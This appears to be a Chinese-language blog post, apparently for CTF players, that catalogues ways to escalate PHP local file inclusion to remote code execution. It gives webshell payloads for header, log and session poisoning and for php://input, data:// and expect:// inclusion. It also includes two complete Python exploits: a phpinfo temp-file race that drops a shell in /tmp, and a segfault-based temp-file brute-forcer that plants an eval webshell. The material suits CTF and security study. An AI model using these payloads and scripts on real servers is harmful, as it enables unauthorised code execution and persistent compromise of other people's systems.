LFI to RCE

LFI不止可以来读取文件,还能用来RCE

在多道CTF题目中都有LFItoRCE的非预期解,下面总结一下LFI的利用姿势

1. /proc/self/environ 利用

条件 :目标能读取 /proc/self/environ,并且网页中存在LFI点

利用方式

  • 修改请求的 User-Agent 为一句 PHP 代码,如:<?php system($_GET['cmd']); ?>
  • 然后访问 LFI 点加载 /proc/self/environ,就能执行那段代码!

小tips

  • 这个文件保存的是进程的环境变量,其中包含HTTP请求头参数
  • 通常需要Apache、Nginx等没有过滤请求头才可以利用

2. /proc/self/fd/X 利用

条件 :目标能读取 /proc/self/fd/X,其中X为文件描述符编号(比如1、2、3)

利用方式

  • 将 PHP 代码注入到 Referer 或报错信息中
  • LFI 包含某个文件描述符,就可以 RCE

区别点

  • fd 是系统文件描述符的软连接,直接指向某些打开的文件流
  • 可以变通绕过 environ 不可读的情况

3. php://filter 利用

目标:文件读取(不是RCE)

用法

复制代码
php


复制编辑
php://filter/read=convert.base64-encode/resource=filename

说明

  • 可以读取任意文件,并以 Base64 返回
  • 不依赖于 allow_url_include 等配置

用途

  • 阅读源码、配置文件、敏感信息~不是直接RCE但常用来辅助分析!

4. php://input 利用

条件

  • 需要 allow_url_include=On
  • 页面使用 include($_GET['file']) 等方式包含

利用方式

  • 将 PHP 代码写在请求体中

  • LFI 引用 php://input 就会执行代码啦!

    POST /lfi.php?file=php://input HTTP/1.1
    Content-Type: application/x-www-form-urlencoded

    <?php system($_GET['cmd']); ?>

5. data:// 协议

条件

  • 需要开启 allow_url_fopenallow_url_include

利用方式

  • 把 PHP 代码直接塞进 URL,例如:

    data://text/plain,<?php system($_GET['cmd']); ?>

或者 Base64 编码

复制代码
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOz8+

6. expect:// 协议

条件

  • 需要安装 expect 扩展
  • 并开启 allow_url_include=On

利用方式

复制代码
expect://ls -al /var/www/html

原理 :通过 expect 触发命令执行

7. 日志包含(Log Poisoning)

方式1:SSH 日志

需要有 /var/log/auth.log****的读取权限

  • 连接ssh时输入ssh `<?php phpinfo(); ?>```[@192](https://github.com/192 "@192").168.211.146``
  • php代码被写入 /var/log/auth.log
  • 然后 LFI 包含这个日志文件

方式2:Apache 日志

需要有 /var/log/auth.log****的读取权限

  • 发送请求把 PHP 代码写入 access.log
  • 通过 LFI 包含实现 RCE

注意

  • 日志太大可能超时,返回 500

8. 利用 phpinfo() 泄漏临时文件名

原理

  • 上传文件会被存到 /tmp/phpXXXXXX 临时文件
  • phpinfo() 会输出这个路径!
  • 在文件被删除前包含它,就能RCE~

常用组合

  1. 用上传点上传带 payload 的文件
  2. phpinfo() 泄露路径
  3. LFI 包含它,实现代码执行!

这里要写exp进行条件竞争

https://insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf 中的exp:

复制代码
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
    TAG="Security Test"
    PAYLOAD="""%sr
<?php $c=fopen('/tmp/g','w');fwrite($c,'<?php passthru($_GET["f"]);?>');?>r""" % TAG
    REQ1_DATA="""-----------------------------7dbff1ded0714r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"r
Content-Type: text/plainr
r
%s
-----------------------------7dbff1ded0714--r""" % PAYLOAD
    padding="A" * 5000
    REQ1="""POST /phpinfo.php?a="""+padding+""" HTTP/1.1r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""r
HTTP_ACCEPT: """ + padding + """r
HTTP_USER_AGENT: """+padding+"""r
HTTP_ACCEPT_LANGUAGE: """+padding+"""r
HTTP_PRAGMA: """+padding+"""r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r
Content-Length: %sr
Host: %sr
r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
    #modify this to suit the LFI script
#     LFIREQ="""GET /lfi.php?file=%s%%00 HTTP/1.1r
# User-Agent: Mozilla/4.0r
# Proxy-Connection: Keep-Aliver
# Host: %sr
# r
# r
# """
    LFIREQ="""GET /lfi.php?file=%s HTTP/1.1r
User-Agent: Mozilla/4.0r
Proxy-Connection: Keep-Aliver
Host: %sr
r
r
"""
    return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s2.connect((host, port))
    s.send(phpinforeq)
    d = ""
    while len(d) < offset:
        d += s.recv(offset)
    try:
        i = d.index("[tmp_name] =&gt")
        fn = d[i+17:i+31]
        # print fn
    except ValueError:
        return None

    s2.send(lfireq % (fn, host))
    d = s2.recv(4096)
    s.close()
    s2.close()
    if d.find(tag) != -1:
        return fn

counter=0
class ThreadWorker(threading.Thread):
    def __init__(self, e, l, m, *args):
        threading.Thread.__init__(self)
        self.event = e
        self.lock = l
        self.maxattempts = m
        self.args = args
    def run(self):
        global counter
        while not self.event.is_set():
            with self.lock:
                if counter >= self.maxattempts:
                    return
                counter+=1
            try:
                x = phpInfoLFI(*self.args)
                if self.event.is_set():
                    break
                if x:
                    print "nGot it! Shell created in /tmp/g"
                    self.event.set()
            except socket.error:
                return
def getOffset(host, port, phpinforeq):
    """Gets offset of tmp_name in the php output"""
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)
    d = ""
    while True:
        i = s.recv(4096)
        d+=i
        if i == "":
            break
        # detect the final chunk
        if i.endswith("0rnrn"):
            break
    s.close()
    i = d.find("[tmp_name] =&gt")
    if i == -1:
        raise ValueError("No php tmp_name in phpinfo output")
    print "found %s at %i" % (d[i:i+10],i)
    # padded up a bit
    return i+256
def main():
    print "LFI With PHPInfo()"
    print "-=" * 30
    if len(sys.argv) < 2:
        print "Usage: %s host [port] [threads]" % sys.argv[0]
        sys.exit(1)
    try:
        host = socket.gethostbyname(sys.argv[1])
    except socket.error, e:
        print "Error with hostname %s: %s" % (sys.argv[1], e)
        sys.exit(1)

    port=80
    try:
        port = int(sys.argv[2])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with port %d: %s" % (sys.argv[2], e)
        sys.exit(1)

    poolsz=10
    try:
        poolsz = int(sys.argv[3])
    except IndexError:
        pass
    except ValueError, e:
        print "Error with poolsz %d: %s" % (sys.argv[3], e)
        sys.exit(1)

    print "Getting initial offset...",
    reqphp, tag, reqlfi = setup(host, port)
    offset = getOffset(host, port, reqphp)
    sys.stdout.flush()
    maxattempts = 1000
    e = threading.Event()
    l = threading.Lock()
    print "Spawning worker pool (%d)..." % poolsz
    sys.stdout.flush()
    tp = []
    for i in range(0,poolsz):
        tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
    for t in tp:
        t.start()
    try:
        while not e.wait(1):
            if e.is_set():
                break
            with l:
                sys.stdout.write( "r% 4d / % 4d" % (counter, maxattempts))
                sys.stdout.flush()
                if counter >= maxattempts:
                    break
        print
        if e.is_set():
            print "Woot! m/"
        else:
            print ":("
    except KeyboardInterrupt:
        print "nTelling threads to shutdown..."
        e.set()
    print "Shuttin' down..."
    for t in tp:
        t.join()

if __name__=="__main__":
    main()

9. PHP 崩溃保留临时文件

php Segfault

向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

1. php < 7.2

  • php://filter/string.strip_tags/resource=/etc/passwd

2. php7 老版本通杀

  • php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

新版本该漏洞已被修复

包含上面两条payload可以使php崩溃,请求中同时存在一个上传文件的请求则会使临时文件保存,然后爆破临时文件名,包含来rce

exp来自LFItoRCE利用总结-安全KER - 安全资讯平台:

复制代码
# -*- coding: utf-8 -*-
# php崩溃 生成大量临时文件

import requests
import string

def upload_file(url, file_content):
    files = {'file': ('daolgts.jpg', file_content, 'image/jpeg')}
    try:
        requests.post(url, files=files)
    except Exception as e:
        print e

charset = string.digits+string.letters
webshell = '<?php eval($_REQUEST[daolgts]);?>'.encode("base64").strip()
file_content = '<?php if(file_put_contents("/tmp/daolgts", base64_decode("%s"))){echo "success";}?>' % (webshell)

url="http://192.168.211.146/lfi.php"
parameter="file"
payload1="php://filter/string.strip_tags/resource=/etc/passwd"
payload2=r"php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA"
lfi_url = url+"?"+parameter+"="+payload1
length = 6
times = len(charset) ** (length / 2)
for i in xrange(times):
    print "[+] %d / %d" % (i, times)
    upload_file(lfi_url, file_content)

爆破tmp文件名

然后爆破临时文件名来包含

复制代码
# -*- coding: utf-8 -*-
import requests
import string

charset = string.digits + string.letters
base_url="http://192.168.211.146/lfi.php"
parameter="file"

for i in charset:
    for j in charset:
        for k in charset:
            for l in charset:
                for m in charset:
                    for n in charset:
                        filename = i + j + k + l + m + n
                        url = base_url+"?"+parameter+"=/tmp/php"+filename
                        print url
                        try:
                            response = requests.get(url)
                            if 'success' in response.content:
                                print "[+] Include success!"
                                print "url:"+url
                                exit()
                        except Exception as e:
                            print e

10. 利用 Session 上传进度

SESSION_UPLOAD_PROGRESS 的利用可以看我前面这个文章

原理

  • PHP支持 session 上传进度记录
  • 会将数据保存在 session 文件中,路径一般是 /var/lib/php/sessions/sess_XXXXXX
  • 如果你能构造带有 PHP 代码的 progress 字段内容,就可以通过包含 session 来 RCE!

利用方式

  1. 构造上传请求,添加:

    PHP_SESSION_UPLOAD_PROGRESS=<?php system($_GET['cmd']); ?>

  2. 设置 Cookie: PHPSESSID=123456

  3. LFI 包含 /var/lib/php/sessions/sess_123456

11. LFI自动化利用工具

会自动扫描利用以下漏洞,并且获取到shell

  • /proc/self/environ
  • php://filter
  • php://input
  • /proc/self/fd
  • access log
  • phpinfo
  • data://
  • expect://
相关推荐
RLG_星辰3 小时前
第六章-哥斯拉4.0流量分析与CVE-2017-12615的复现
笔记·安全·网络安全·tomcat·应急响应·玄机
eternal__day4 小时前
Spring Boot 实现验证码生成与校验:从零开始构建安全登录系统
java·spring boot·后端·安全·java-ee·学习方法
独行soc6 小时前
2025年渗透测试面试题总结-某服面试经验分享(附回答)(题目+回答)
linux·运维·服务器·网络安全·面试·职场和发展·渗透测试
付出不多7 小时前
Nginx安全防护与HTTPS部署
nginx·安全·https
2501_916013748 小时前
从一次被抄袭经历谈起:iOS App 安全保护实战
websocket·网络协议·tcp/ip·http·网络安全·https·udp
请再坚持一下9 小时前
网络安全护网行动之个人见解
安全·web安全·网络安全
AORO_BEIDOU9 小时前
遨游科普:2025年,三防平板有多智能?
网络·人工智能·安全·智能手机·电脑·信息与通信
AWS官方合作商9 小时前
AWS VPC架构师指南:从零设计企业级云网络隔离方案
安全·架构·aws
wtsafe10 小时前
仓储车间安全革命:AI叉车防撞装置系统如何化解操作风险
人工智能·物联网·安全
独行soc12 小时前
2025年渗透测试面试题总结-某步在线面试(题目+回答)
linux·网络·安全·web安全·面试·职场和发展·渗透安全